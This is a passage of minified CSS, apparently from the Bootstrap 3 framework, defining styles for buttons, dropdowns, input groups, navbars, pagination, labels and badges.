.badge{color:#5bc0de;background-color:#fff}.btn-warning{color:#fff;background-color:#f0ad4e;border-color:#eea236}.btn-warning.focus,.btn-warning:focus{color:#fff;background-color:#ec971f;border-color:#985f0d}.btn-warning:hover{color:#fff;background-color:#ec971f;border-color:#d58512}.btn-warning.active,.btn-warning:active,.open>.dropdown-toggle.btn-warning{color:#fff;background-color:#ec971f;border-color:#d58512}.btn-warning.active.focus,.btn-warning.active:focus,.btn-warning.active:hover,.btn-warning:active.focus,.btn-warning:active:focus,.btn-warning:active:hover,.open>.dropdown-toggle.btn-warning.focus,.open>.dropdown-toggle.btn-warning:focus,.open>.dropdown-toggle.btn-warning:hover{color:#fff;background-color:#d58512;border-color:#985f0d}.btn-warning.active,.btn-warning:active,.open>.dropdown-toggle.btn-warning{background-image:none}.btn-warning.disabled.focus,.btn-warning.disabled:focus,.btn-warning.disabled:hover,.btn-warning[disabled].focus,.btn-warning[disabled]:focus,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning.focus,fieldset[disabled] .btn-warning:focus,fieldset[disabled] .btn-warning:hover{background-color:#f0ad4e;border-color:#eea236}.btn-warning .badge{color:#f0ad4e;background-color:#fff}.btn-danger{color:#fff;background-color:#d9534f;border-color:#d43f3a}.btn-danger.focus,.btn-danger:focus{color:#fff;background-color:#c9302c;border-color:#761c19}.btn-danger:hover{color:#fff;background-color:#c9302c;border-color:#ac2925}.btn-danger.active,.btn-danger:active,.open>.dropdown-toggle.btn-danger{color:#fff;background-color:#c9302c;border-color:#ac2925}.btn-danger.active.focus,.btn-danger.active:focus,.btn-danger.active:hover,.btn-danger:active.focus,.btn-danger:active:focus,.btn-danger:active:hover,.open>.dropdown-toggle.btn-danger.focus,.open>.dropdown-toggle.btn-danger:focus,.open>.dropdown-toggle.btn-danger:hover{color:#fff;background-color:#ac2925;border-color:#761c19}.btn-danger.active,.btn-danger:active,.open>.dropdown-toggle.btn-danger{background-image:none}.btn-danger.disabled.focus,.btn-danger.disabled:focus,.btn-danger.disabled:hover,.btn-danger[disabled].focus,.btn-danger[disabled]:focus,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger.focus,fieldset[disabled] .btn-danger:focus,fieldset[disabled] .btn-danger:hover{background-color:#d9534f;border-color:#d43f3a}.btn-danger .badge{color:#d9534f;background-color:#fff}.btn-link{font-weight:400;color:#337ab7;border-radius:0}.btn-link,.btn-link.active,.btn-link:active,.btn-link[disabled],fieldset[disabled] .btn-link{background-color:transparent;-webkit-box-shadow:none;box-shadow:none}.btn-link,.btn-link:active,.btn-link:focus,.btn-link:hover{border-color:transparent}.btn-link:focus,.btn-link:hover{color:#23527c;text-decoration:underline;background-color:transparent}.btn-link[disabled]:focus,.btn-link[disabled]:hover,fieldset[disabled] .btn-link:focus,fieldset[disabled] .btn-link:hover{color:#777;text-decoration:none}.btn-group-lg>.btn,.btn-lg{padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}.btn-group-sm>.btn,.btn-sm{padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.btn-group-xs>.btn,.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;border-radius:3px}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:5px}input[type=button].btn-block,input[type=reset].btn-block,input[type=submit].btn-block{width:100%}.fade{opacity:0;-webkit-transition:opacity .15s linear;-o-transition:opacity .15s linear;transition:opacity .15s linear}.fade.in{opacity:1}.collapse{display:none}.collapse.in{display:block}tr.collapse.in{display:table-row}tbody.collapse.in{display:table-row-group}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition-timing-function:ease;-o-transition-timing-function:ease;transition-timing-function:ease;-webkit-transition-duration:.35s;-o-transition-duration:.35s;transition-duration:.35s;-webkit-transition-property:height,visibility;-o-transition-property:height,visibility;transition-property:height,visibility}.caret{display:inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px dashed;border-top:4px solid\9;border-right:4px solid transparent;border-left:4px solid transparent}.dropdown,.dropup{position:relative}.dropdown-toggle:focus{outline:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;font-size:14px;text-align:left;list-style:none;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0,0,0,.15);border-radius:4px;-webkit-box-shadow:0 6px 12px rgba(0,0,0,.175);box-shadow:0 6px 12px rgba(0,0,0,.175)}.dropdown-menu.pull-right{right:0;left:auto}.dropdown-menu .divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:400;line-height:1.42857143;color:#333;white-space:nowrap}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{color:#262626;text-decoration:none;background-color:#f5f5f5}.dropdown-menu>.active>a,.dropdown-menu>.active>a:focus,.dropdown-menu>.active>a:hover{color:#fff;text-decoration:none;background-color:#337ab7;outline:0}.dropdown-menu>.disabled>a,.dropdown-menu>.disabled>a:focus,.dropdown-menu>.disabled>a:hover{color:#777}.dropdown-menu>.disabled>a:focus,.dropdown-menu>.disabled>a:hover{text-decoration:none;cursor:not-allowed;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.open>.dropdown-menu{display:block}.open>a{outline:0}.dropdown-menu-right{right:0;left:auto}.dropdown-menu-left{right:auto;left:0}.dropdown-header{display:block;padding:3px 20px;font-size:12px;line-height:1.42857143;color:#777;white-space:nowrap}.dropdown-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:990}.pull-right>.dropdown-menu{right:0;left:auto}.dropup .caret,.navbar-fixed-bottom .dropdown .caret{content:"";border-top:0;border-bottom:4px dashed;border-bottom:4px solid\9}.dropup .dropdown-menu,.navbar-fixed-bottom .dropdown .dropdown-menu{top:auto;bottom:100%;margin-bottom:2px}@media (min-width:768px){.navbar-right .dropdown-menu{right:0;left:auto}.navbar-right .dropdown-menu-left{right:auto;left:0}}.btn-group,.btn-group-vertical{position:relative;display:inline-block;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;float:left}.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group-vertical>.btn:hover,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus,.btn-group>.btn:hover{z-index:2}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group{margin-left:-1px}.btn-toolbar{margin-left:-5px}.btn-toolbar .btn,.btn-toolbar .btn-group,.btn-toolbar .input-group{float:left}.btn-toolbar>.btn,.btn-toolbar>.btn-group,.btn-toolbar>.input-group{margin-left:5px}.btn-group>.btn:not(:first-child):not(:last-child):not(.dropdown-toggle){border-radius:0}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn:last-child:not(:first-child),.btn-group>.dropdown-toggle:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.btn-group>.btn-group{float:left}.btn-group>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-left-radius:0;border-bottom-left-radius:0}.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle{outline:0}.btn-group>.btn+.dropdown-toggle{padding-right:8px;padding-left:8px}.btn-group>.btn-lg+.dropdown-toggle{padding-right:12px;padding-left:12px}.btn-group.open .dropdown-toggle{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-group.open .dropdown-toggle.btn-link{-webkit-box-shadow:none;box-shadow:none}.btn .caret{margin-left:0}.btn-lg .caret{border-width:5px 5px 0;border-bottom-width:0}.dropup .btn-lg .caret{border-width:0 5px 5px}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group,.btn-group-vertical>.btn-group>.btn{display:block;float:none;width:100%;max-width:100%}.btn-group-vertical>.btn-group>.btn{float:none}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0}.btn-group-vertical>.btn:not(:first-child):not(:last-child){border-radius:0}.btn-group-vertical>.btn:first-child:not(:last-child){border-top-left-radius:4px;border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn:last-child:not(:first-child){border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px}.btn-group-vertical>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group-vertical>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group-vertical>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-left-radius:0;border-top-right-radius:0}.btn-group-justified{display:table;width:100%;table-layout:fixed;border-collapse:separate}.btn-group-justified>.btn,.btn-group-justified>.btn-group{display:table-cell;float:none;width:1%}.btn-group-justified>.btn-group .btn{width:100%}.btn-group-justified>.btn-group .dropdown-menu{left:auto}[data-toggle=buttons]>.btn input[type=checkbox],[data-toggle=buttons]>.btn input[type=radio],[data-toggle=buttons]>.btn-group>.btn input[type=checkbox],[data-toggle=buttons]>.btn-group>.btn input[type=radio]{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.input-group{position:relative;display:table;border-collapse:separate}.input-group[class*=col-]{float:none;padding-right:0;padding-left:0}.input-group .form-control{position:relative;z-index:2;float:left;width:100%;margin-bottom:0}.input-group .form-control:focus{z-index:3}.input-group-lg>.form-control,.input-group-lg>.input-group-addon,.input-group-lg>.input-group-btn>.btn{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}select.input-group-lg>.form-control,select.input-group-lg>.input-group-addon,select.input-group-lg>.input-group-btn>.btn{height:46px;line-height:46px}select[multiple].input-group-lg>.form-control,select[multiple].input-group-lg>.input-group-addon,select[multiple].input-group-lg>.input-group-btn>.btn,textarea.input-group-lg>.form-control,textarea.input-group-lg>.input-group-addon,textarea.input-group-lg>.input-group-btn>.btn{height:auto}.input-group-sm>.form-control,.input-group-sm>.input-group-addon,.input-group-sm>.input-group-btn>.btn{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}select.input-group-sm>.form-control,select.input-group-sm>.input-group-addon,select.input-group-sm>.input-group-btn>.btn{height:30px;line-height:30px}select[multiple].input-group-sm>.form-control,select[multiple].input-group-sm>.input-group-addon,select[multiple].input-group-sm>.input-group-btn>.btn,textarea.input-group-sm>.form-control,textarea.input-group-sm>.input-group-addon,textarea.input-group-sm>.input-group-btn>.btn{height:auto}.input-group .form-control,.input-group-addon,.input-group-btn{display:table-cell}.input-group .form-control:not(:first-child):not(:last-child),.input-group-addon:not(:first-child):not(:last-child),.input-group-btn:not(:first-child):not(:last-child){border-radius:0}.input-group-addon,.input-group-btn{width:1%;white-space:nowrap;vertical-align:middle}.input-group-addon{padding:6px 12px;font-size:14px;font-weight:400;line-height:1;color:#555;text-align:center;background-color:#eee;border:1px solid #ccc;border-radius:4px}.input-group-addon.input-sm{padding:5px 10px;font-size:12px;border-radius:3px}.input-group-addon.input-lg{padding:10px 16px;font-size:18px;border-radius:6px}.input-group-addon input[type=checkbox],.input-group-addon input[type=radio]{margin-top:0}.input-group .form-control:first-child,.input-group-addon:first-child,.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group>.btn,.input-group-btn:first-child>.dropdown-toggle,.input-group-btn:last-child>.btn-group:not(:last-child)>.btn,.input-group-btn:last-child>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.input-group-addon:first-child{border-right:0}.input-group .form-control:last-child,.input-group-addon:last-child,.input-group-btn:first-child>.btn-group:not(:first-child)>.btn,.input-group-btn:first-child>.btn:not(:first-child),.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group>.btn,.input-group-btn:last-child>.dropdown-toggle{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-addon:last-child{border-left:0}.input-group-btn{position:relative;font-size:0;white-space:nowrap}.input-group-btn>.btn{position:relative}.input-group-btn>.btn+.btn{margin-left:-1px}.input-group-btn>.btn:active,.input-group-btn>.btn:focus,.input-group-btn>.btn:hover{z-index:2}.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group{margin-right:-1px}.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group{z-index:2;margin-left:-1px}.nav{padding-left:0;margin-bottom:0;list-style:none}.nav>li{position:relative;display:block}.nav>li>a{position:relative;display:block;padding:10px 15px}.nav>li>a:focus,.nav>li>a:hover{text-decoration:none;background-color:#eee}.nav>li.disabled>a{color:#777}.nav>li.disabled>a:focus,.nav>li.disabled>a:hover{color:#777;text-decoration:none;cursor:not-allowed;background-color:transparent}.nav .open>a,.nav .open>a:focus,.nav .open>a:hover{background-color:#eee;border-color:#337ab7}.nav .nav-divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.nav>li>a>img{max-width:none}.nav-tabs{border-bottom:1px solid #ddd}.nav-tabs>li{float:left;margin-bottom:-1px}.nav-tabs>li>a{margin-right:2px;line-height:1.42857143;border:1px solid transparent;border-radius:4px 4px 0 0}.nav-tabs>li>a:hover{border-color:#eee #eee #ddd}.nav-tabs>li.active>a,.nav-tabs>li.active>a:focus,.nav-tabs>li.active>a:hover{color:#555;cursor:default;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent}.nav-tabs.nav-justified{width:100%;border-bottom:0}.nav-tabs.nav-justified>li{float:none}.nav-tabs.nav-justified>li>a{margin-bottom:5px;text-align:center}.nav-tabs.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-tabs.nav-justified>li{display:table-cell;width:1%}.nav-tabs.nav-justified>li>a{margin-bottom:0}}.nav-tabs.nav-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:focus,.nav-tabs.nav-justified>.active>a:hover{border:1px solid #ddd}@media (min-width:768px){.nav-tabs.nav-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:focus,.nav-tabs.nav-justified>.active>a:hover{border-bottom-color:#fff}}.nav-pills>li{float:left}.nav-pills>li>a{border-radius:4px}.nav-pills>li+li{margin-left:2px}.nav-pills>li.active>a,.nav-pills>li.active>a:focus,.nav-pills>li.active>a:hover{color:#fff;background-color:#337ab7}.nav-stacked>li{float:none}.nav-stacked>li+li{margin-top:2px;margin-left:0}.nav-justified{width:100%}.nav-justified>li{float:none}.nav-justified>li>a{margin-bottom:5px;text-align:center}.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-justified>li{display:table-cell;width:1%}.nav-justified>li>a{margin-bottom:0}}.nav-tabs-justified{border-bottom:0}.nav-tabs-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:focus,.nav-tabs-justified>.active>a:hover{border:1px solid #ddd}@media (min-width:768px){.nav-tabs-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:focus,.nav-tabs-justified>.active>a:hover{border-bottom-color:#fff}}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.navbar{position:relative;min-height:50px;margin-bottom:20px;border:1px solid transparent}@media (min-width:768px){.navbar{border-radius:4px}}@media (min-width:768px){.navbar-header{float:left}}.navbar-collapse{padding-right:15px;padding-left:15px;overflow-x:visible;-webkit-overflow-scrolling:touch;border-top:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 0 rgba(255,255,255,.1)}.navbar-collapse.in{overflow-y:auto}@media (min-width:768px){.navbar-collapse{width:auto;border-top:0;-webkit-box-shadow:none;box-shadow:none}.navbar-collapse.collapse{display:block!important;height:auto!important;padding-bottom:0;overflow:visible!important}.navbar-collapse.in{overflow-y:visible}.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse,.navbar-static-top .navbar-collapse{padding-right:0;padding-left:0}}.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse{max-height:340px}@media (max-device-width:480px) and (orientation:landscape){.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse{max-height:200px}}.container-fluid>.navbar-collapse,.container-fluid>.navbar-header,.container>.navbar-collapse,.container>.navbar-header{margin-right:-15px;margin-left:-15px}@media (min-width:768px){.container-fluid>.navbar-collapse,.container-fluid>.navbar-header,.container>.navbar-collapse,.container>.navbar-header{margin-right:0;margin-left:0}}.navbar-static-top{z-index:1000;border-width:0 0 1px}@media (min-width:768px){.navbar-static-top{border-radius:0}}.navbar-fixed-bottom,.navbar-fixed-top{position:fixed;right:0;left:0;z-index:1030}@media (min-width:768px){.navbar-fixed-bottom,.navbar-fixed-top{border-radius:0}}.navbar-fixed-top{top:0;border-width:0 0 1px}.navbar-fixed-bottom{bottom:0;margin-bottom:0;border-width:1px 0 0}.navbar-brand{float:left;height:50px;padding:15px 15px;font-size:18px;line-height:20px}.navbar-brand:focus,.navbar-brand:hover{text-decoration:none}.navbar-brand>img{display:block}@media (min-width:768px){.navbar>.container .navbar-brand,.navbar>.container-fluid .navbar-brand{margin-left:-15px}}.navbar-toggle{position:relative;float:right;padding:9px 10px;margin-top:8px;margin-right:15px;margin-bottom:8px;background-color:transparent;background-image:none;border:1px solid transparent;border-radius:4px}.navbar-toggle:focus{outline:0}.navbar-toggle .icon-bar{display:block;width:22px;height:2px;border-radius:1px}.navbar-toggle .icon-bar+.icon-bar{margin-top:4px}@media (min-width:768px){.navbar-toggle{display:none}}.navbar-nav{margin:7.5px -15px}.navbar-nav>li>a{padding-top:10px;padding-bottom:10px;line-height:20px}@media (max-width:767px){.navbar-nav .open .dropdown-menu{position:static;float:none;width:auto;margin-top:0;background-color:transparent;border:0;-webkit-box-shadow:none;box-shadow:none}.navbar-nav .open .dropdown-menu .dropdown-header,.navbar-nav .open .dropdown-menu>li>a{padding:5px 15px 5px 25px}.navbar-nav .open .dropdown-menu>li>a{line-height:20px}.navbar-nav .open .dropdown-menu>li>a:focus,.navbar-nav .open .dropdown-menu>li>a:hover{background-image:none}}@media (min-width:768px){.navbar-nav{float:left;margin:0}.navbar-nav>li{float:left}.navbar-nav>li>a{padding-top:15px;padding-bottom:15px}}.navbar-form{padding:10px 15px;margin-top:8px;margin-right:-15px;margin-bottom:8px;margin-left:-15px;border-top:1px solid transparent;border-bottom:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.1)}@media (min-width:768px){.navbar-form .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.navbar-form .form-control{display:inline-block;width:auto;vertical-align:middle}.navbar-form .form-control-static{display:inline-block}.navbar-form .input-group{display:inline-table;vertical-align:middle}.navbar-form .input-group .form-control,.navbar-form .input-group .input-group-addon,.navbar-form .input-group .input-group-btn{width:auto}.navbar-form .input-group>.form-control{width:100%}.navbar-form .control-label{margin-bottom:0;vertical-align:middle}.navbar-form .checkbox,.navbar-form .radio{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.navbar-form .checkbox label,.navbar-form .radio label{padding-left:0}.navbar-form .checkbox input[type=checkbox],.navbar-form .radio input[type=radio]{position:relative;margin-left:0}.navbar-form .has-feedback .form-control-feedback{top:0}}@media (max-width:767px){.navbar-form .form-group{margin-bottom:5px}.navbar-form .form-group:last-child{margin-bottom:0}}@media (min-width:768px){.navbar-form{width:auto;padding-top:0;padding-bottom:0;margin-right:0;margin-left:0;border:0;-webkit-box-shadow:none;box-shadow:none}}.navbar-nav>li>.dropdown-menu{margin-top:0;border-top-left-radius:0;border-top-right-radius:0}.navbar-fixed-bottom .navbar-nav>li>.dropdown-menu{margin-bottom:0;border-top-left-radius:4px;border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.navbar-btn{margin-top:8px;margin-bottom:8px}.navbar-btn.btn-sm{margin-top:10px;margin-bottom:10px}.navbar-btn.btn-xs{margin-top:14px;margin-bottom:14px}.navbar-text{margin-top:15px;margin-bottom:15px}@media (min-width:768px){.navbar-text{float:left;margin-right:15px;margin-left:15px}}@media (min-width:768px){.navbar-left{float:left!important}.navbar-right{float:right!important;margin-right:-15px}.navbar-right~.navbar-right{margin-right:0}}.navbar-default{background-color:#f8f8f8;border-color:#e7e7e7}.navbar-default .navbar-brand{color:#777}.navbar-default .navbar-brand:focus,.navbar-default .navbar-brand:hover{color:#5e5e5e;background-color:transparent}.navbar-default .navbar-text{color:#777}.navbar-default .navbar-nav>li>a{color:#777}.navbar-default .navbar-nav>li>a:focus,.navbar-default .navbar-nav>li>a:hover{color:#333;background-color:transparent}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.active>a:focus,.navbar-default .navbar-nav>.active>a:hover{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav>.disabled>a,.navbar-default .navbar-nav>.disabled>a:focus,.navbar-default .navbar-nav>.disabled>a:hover{color:#ccc;background-color:transparent}.navbar-default .navbar-toggle{border-color:#ddd}.navbar-default .navbar-toggle:focus,.navbar-default .navbar-toggle:hover{background-color:#ddd}.navbar-default .navbar-toggle .icon-bar{background-color:#888}.navbar-default .navbar-collapse,.navbar-default .navbar-form{border-color:#e7e7e7}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:focus,.navbar-default .navbar-nav>.open>a:hover{color:#555;background-color:#e7e7e7}@media (max-width:767px){.navbar-default .navbar-nav .open .dropdown-menu>li>a{color:#777}.navbar-default .navbar-nav .open .dropdown-menu>li>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>li>a:hover{color:#333;background-color:transparent}.navbar-default .navbar-nav .open .dropdown-menu>.active>a,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:hover{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:hover{color:#ccc;background-color:transparent}}.navbar-default .navbar-link{color:#777}.navbar-default .navbar-link:hover{color:#333}.navbar-default .btn-link{color:#777}.navbar-default .btn-link:focus,.navbar-default .btn-link:hover{color:#333}.navbar-default .btn-link[disabled]:focus,.navbar-default .btn-link[disabled]:hover,fieldset[disabled] .navbar-default .btn-link:focus,fieldset[disabled] .navbar-default .btn-link:hover{color:#ccc}.navbar-inverse{background-color:#222;border-color:#080808}.navbar-inverse .navbar-brand{color:#9d9d9d}.navbar-inverse .navbar-brand:focus,.navbar-inverse .navbar-brand:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-text{color:#9d9d9d}.navbar-inverse .navbar-nav>li>a{color:#9d9d9d}.navbar-inverse .navbar-nav>li>a:focus,.navbar-inverse .navbar-nav>li>a:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.active>a:focus,.navbar-inverse .navbar-nav>.active>a:hover{color:#fff;background-color:#080808}.navbar-inverse .navbar-nav>.disabled>a,.navbar-inverse .navbar-nav>.disabled>a:focus,.navbar-inverse .navbar-nav>.disabled>a:hover{color:#444;background-color:transparent}.navbar-inverse .navbar-toggle{border-color:#333}.navbar-inverse .navbar-toggle:focus,.navbar-inverse .navbar-toggle:hover{background-color:#333}.navbar-inverse .navbar-toggle .icon-bar{background-color:#fff}.navbar-inverse .navbar-collapse,.navbar-inverse .navbar-form{border-color:#101010}.navbar-inverse .navbar-nav>.open>a,.navbar-inverse .navbar-nav>.open>a:focus,.navbar-inverse .navbar-nav>.open>a:hover{color:#fff;background-color:#080808}@media (max-width:767px){.navbar-inverse .navbar-nav .open .dropdown-menu>.dropdown-header{border-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu .divider{background-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a{color:#9d9d9d}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:hover{color:#fff;background-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:hover{color:#444;background-color:transparent}}.navbar-inverse .navbar-link{color:#9d9d9d}.navbar-inverse .navbar-link:hover{color:#fff}.navbar-inverse .btn-link{color:#9d9d9d}.navbar-inverse .btn-link:focus,.navbar-inverse .btn-link:hover{color:#fff}.navbar-inverse .btn-link[disabled]:focus,.navbar-inverse .btn-link[disabled]:hover,fieldset[disabled] .navbar-inverse .btn-link:focus,fieldset[disabled] .navbar-inverse .btn-link:hover{color:#444}.breadcrumb{padding:8px 15px;margin-bottom:20px;list-style:none;background-color:#f5f5f5;border-radius:4px}.breadcrumb>li{display:inline-block}.breadcrumb>li+li:before{padding:0 5px;color:#ccc;content:"/\00a0"}.breadcrumb>.active{color:#777}.pagination{display:inline-block;padding-left:0;margin:20px 0;border-radius:4px}.pagination>li{display:inline}.pagination>li>a,.pagination>li>span{position:relative;float:left;padding:6px 12px;margin-left:-1px;line-height:1.42857143;color:#337ab7;text-decoration:none;background-color:#fff;border:1px solid #ddd}.pagination>li:first-child>a,.pagination>li:first-child>span{margin-left:0;border-top-left-radius:4px;border-bottom-left-radius:4px}.pagination>li:last-child>a,.pagination>li:last-child>span{border-top-right-radius:4px;border-bottom-right-radius:4px}.pagination>li>a:focus,.pagination>li>a:hover,.pagination>li>span:focus,.pagination>li>span:hover{z-index:2;color:#23527c;background-color:#eee;border-color:#ddd}.pagination>.active>a,.pagination>.active>a:focus,.pagination>.active>a:hover,.pagination>.active>span,.pagination>.active>span:focus,.pagination>.active>span:hover{z-index:3;color:#fff;cursor:default;background-color:#337ab7;border-color:#337ab7}.pagination>.disabled>a,.pagination>.disabled>a:focus,.pagination>.disabled>a:hover,.pagination>.disabled>span,.pagination>.disabled>span:focus,.pagination>.disabled>span:hover{color:#777;cursor:not-allowed;background-color:#fff;border-color:#ddd}.pagination-lg>li>a,.pagination-lg>li>span{padding:10px 16px;font-size:18px;line-height:1.3333333}.pagination-lg>li:first-child>a,.pagination-lg>li:first-child>span{border-top-left-radius:6px;border-bottom-left-radius:6px}.pagination-lg>li:last-child>a,.pagination-lg>li:last-child>span{border-top-right-radius:6px;border-bottom-right-radius:6px}.pagination-sm>li>a,.pagination-sm>li>span{padding:5px 10px;font-size:12px;line-height:1.5}.pagination-sm>li:first-child>a,.pagination-sm>li:first-child>span{border-top-left-radius:3px;border-bottom-left-radius:3px}.pagination-sm>li:last-child>a,.pagination-sm>li:last-child>span{border-top-right-radius:3px;border-bottom-right-radius:3px}.pager{padding-left:0;margin:20px 0;text-align:center;list-style:none}.pager li{display:inline}.pager li>a,.pager li>span{display:inline-block;padding:5px 14px;background-color:#fff;border:1px solid #ddd;border-radius:15px}.pager li>a:focus,.pager li>a:hover{text-decoration:none;background-color:#eee}.pager .next>a,.pager .next>span{float:right}.pager .previous>a,.pager .previous>span{float:left}.pager .disabled>a,.pager .disabled>a:focus,.pager .disabled>a:hover,.pager .disabled>span{color:#777;cursor:not-allowed;background-color:#fff}.label{display:inline;padding:.2em .6em .3em;font-size:75%;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25em}a.label:focus,a.label:hover{color:#fff;text-decoration:none;cursor:pointer}.label:empty{display:none}.btn .label{position:relative;top:-1px}.label-default{background-color:#777}.label-default[href]:focus,.label-default[href]:hover{background-color:#5e5e5e}.label-primary{background-color:#337ab7}.label-primary[href]:focus,.label-primary[href]:hover{background-color:#286090}.label-success{background-color:#5cb85c}.label-success[href]:focus,.label-success[href]:hover{background-color:#449d44}.label-info{background-color:#5bc0de}.label-info[href]:focus,.label-info[href]:hover{background-color:#31b0d5}.label-warning{background-color:#f0ad4e}.label-warning[href]:focus,.label-warning[href]:hover{background-color:#ec971f}.label-danger{background-color:#d9534f}.label-danger[href]:focus,.label-danger[href]:hover{background-color:#c9302c}.badge{display:inline-block;min-width:10px;padding:3px 7px;font-size:12px;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:middle;background-color:#777;border-radius:10px}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.btn-group-xs>.btn .badge,.btn-xs .badge{top:0;padding:1px 